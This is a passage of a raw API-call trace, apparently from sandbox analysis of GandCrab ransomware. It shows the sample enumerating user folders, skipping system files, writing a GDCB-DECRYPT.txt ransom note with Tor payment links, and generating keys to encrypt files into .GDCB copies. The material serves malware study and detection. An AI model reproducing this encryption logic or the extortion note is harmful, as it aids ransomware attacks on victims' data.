returned 1 [0169.630] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0169.630] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0169.630] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.630] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 88 [0169.630] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 88 [0169.630] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.630] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.630] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0169.630] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0169.630] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0169.630] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.631] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 87 [0169.631] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 87 [0169.631] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.631] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.631] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0169.631] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0169.631] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0169.631] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.631] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 87 [0169.631] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 87 [0169.631] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.631] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.631] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.631] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.631] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache" [0169.631] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\" [0169.631] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.631] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.631] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.631] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.632] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.632] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.632] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\") returned 76 [0169.632] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\*" [0169.632] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5a5018 [0169.633] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.633] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.633] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.633] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.633] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.633] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0169.633] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0169.633] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0169.633] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 89 [0169.633] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.633] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.633] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0169.633] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0169.633] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0169.633] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 89 [0169.634] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.634] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0169.634] FindClose (in: hFindFile=0x5a5018 | out: hFindFile=0x5a5018) returned 1 [0169.634] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.634] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 93 [0169.634] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0169.637] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.637] WriteFile (in: hFile=0x4e8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0169.637] CloseHandle (hObject=0x4e8) returned 1 [0169.638] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.638] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\") returned 76 [0169.638] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\*" [0169.638] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5a4c58 [0169.638] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.638] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.638] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.638] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.638] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.638] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0169.638] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0169.638] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0169.638] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.638] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 89 [0169.638] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 89 [0169.638] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.639] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.639] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0169.639] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0169.639] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0169.639] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.639] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 89 [0169.639] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 89 [0169.639] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.639] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.639] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.639] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.639] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0169.639] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.639] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 92 [0169.639] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 92 [0169.639] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 92 [0169.639] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 92 [0169.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.639] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.640] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0169.640] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.640] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.640] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.640] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.640] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0169.640] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.640] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 86 [0169.640] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 86 [0169.640] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 86 [0169.640] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 86 [0169.640] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.640] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.640] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.640] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.640] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.640] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.640] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.640] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.640] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.640] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.640] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.640] lstrcmpW (lpString1="IconCacheRdr.dat", lpString2=".") returned 1 [0169.641] lstrcmpW (lpString1="IconCacheRdr.dat", lpString2="..") returned 1 [0169.641] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" [0169.641] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.641] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat") returned 86 [0169.641] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat") returned 86 [0169.641] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat") returned 86 [0169.641] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat") returned 86 [0169.641] lstrcmpiW (lpString1="IconCacheRdr.dat", lpString2="desktop.ini") returned 1 [0169.641] lstrcmpiW (lpString1="IconCacheRdr.dat", lpString2="autorun.inf") returned 1 [0169.641] lstrcmpiW (lpString1="IconCacheRdr.dat", lpString2="ntuser.dat") returned -1 [0169.641] lstrcmpiW (lpString1="IconCacheRdr.dat", lpString2="iconcache.db") returned 1 [0169.641] lstrcmpiW (lpString1="IconCacheRdr.dat", lpString2="bootsect.bak") returned 1 [0169.641] lstrcmpiW (lpString1="IconCacheRdr.dat", lpString2="boot.ini") returned 1 [0169.641] lstrcmpiW (lpString1="IconCacheRdr.dat", lpString2="ntuser.dat.log") returned -1 [0169.641] lstrcmpiW (lpString1="IconCacheRdr.dat", lpString2="thumbs.db") returned -1 [0169.641] lstrcmpiW (lpString1="IconCacheRdr.dat", lpString2="GDCB-DECRYPT.txt") returned 1 [0169.641] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat")) returned 0x20 [0169.641] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", dwFileAttributes=0x20) returned 1 [0169.642] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0169.642] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" [0169.642] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", lpString2=".GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0169.642] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4e48) returned 1 [0169.642] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0169.643] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0169.643] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0169.643] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0169.643] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0169.643] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.643] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4540) returned 1 [0169.643] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0169.643] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0169.643] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0169.643] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0169.644] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0169.644] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.644] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0169.644] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0169.644] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0169.646] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5a5058) returned 1 [0169.647] CryptGetKeyParam (in: hKey=0x5a5058, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0169.647] CryptEncrypt (in: hKey=0x5a5058, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0169.647] GetLastError () returned 0x0 [0169.647] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0169.647] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4430) returned 1 [0169.649] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5a4958) returned 1 [0169.649] CryptGetKeyParam (in: hKey=0x5a4958, dwParam=0x8, 